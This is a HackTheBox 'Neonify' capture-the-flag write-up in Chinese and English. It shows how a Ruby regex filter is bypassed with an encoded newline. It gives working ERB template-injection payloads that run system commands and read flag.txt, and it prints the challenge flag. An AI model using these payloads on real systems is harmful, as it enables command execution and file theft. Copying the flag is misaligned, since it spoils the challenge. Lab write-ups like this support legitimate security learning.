HackTheBox: Neonify

Table of Contents

[TOC]

Topic

Lab

HackTheBox:

https://app.hackthebox.com/challenges/Neonify

Initial Enumeration

●Start Machine: https://83.136.254.223:30167/ image

Submit: CHW image

CHW

Submit: $(ls) image

Malicious Input Detected

Solution

1.Code Review

neon.rb

class NeonControllers < Sinatra::Base

  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    @neon = "Glow With The Flow"
    erb :'index'
  end

  post '/' do
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = "Malicious Input Detected"
    end
    erb :'index'
  end

end

提交的@neon 需要符合正規表達式: /^[0-9a-z ]+$/i

  1. 正則表達式的開始和結束都被斜槓 / 包圍
  2. ^ 符號表示匹配字串的開頭
  3. `[0-9a-z ] 匹配所有數字、小寫字母和空格
  4. +表示至少有一個或多個符合前面指定的字符
  5. $ 表示匹配字串的結尾
  6. i 表示不區分大小寫

ERB (Ruby) 想嘗試Ruby SSTI

2. SSTI 

neon=<%= 7*7 %>

不符合正表達式，肯定會被擋

● Ruby Bypass regular expression : abc\n<%= 7*7 %>

嘗試過\n ，無法識別 URL-encoded: %0A

3. %0A bypass regular expression

3.1 neon=chw%0A<%= 7*7 %>

● 使用chw%0A<% 7*7 %>

neon=chw%0A%3C%257%2A7%25%3E

image

(1) 在網頁上直接輸入會被視為字元，使用 BurpSuite Repeater (2) 嘗試 double encode

● 嘗試 double encode

neon=chw%0A%253C%2525%25207%252A7%2520%2525%253E

image

顯示 encode一次的值，代表: (1) 輸入有效 (2) 確認系統會decode 一次 Final 試到天荒地老，後來才發現使用 <%= 才會顯示結果

● chw%0A<%= 7*7 %>

neon=chw%0A%3C%25%3D7%2A7%25%3E

image

成功顯示 49。 代表成功執行ERB，可以進行SSTI

3.2 Execute Command

● <%= system("whoami") %>

neon=chw%0A%3C%25%3D%20system%28%22whoami%22%29%20%25%3E

image

誤以為user: true

● <%= system("ls") %>

neon=chw%0A%3C%25%3D%20system%28%22ls%22%29%20%25%3E

image

True again. 改用Ruby 語法

4. Read Files In Ruby: File.read('flag.txt')

● Read Files In Ruby: File.read/write/open('')

● <%= File.read('/flag.txt') %>

neon=chw%0A%3C%25%3D%20File.read%28%27%2Fflag.txt%27%29%20%25%3E

image

顯示500 Internal Server Error

image

猜測: 沒有權限訪問根目錄

5. Get FLAG

● <%= File.read('flag.txt') %>

neon=chw%0A%3C%25%3D%20File.read%28%27flag.txt%27%29%20%25%3E

image

FLAG: HTB{r3pl4c3m3n7_s3cur1ty}

tags: Web CTF SSTI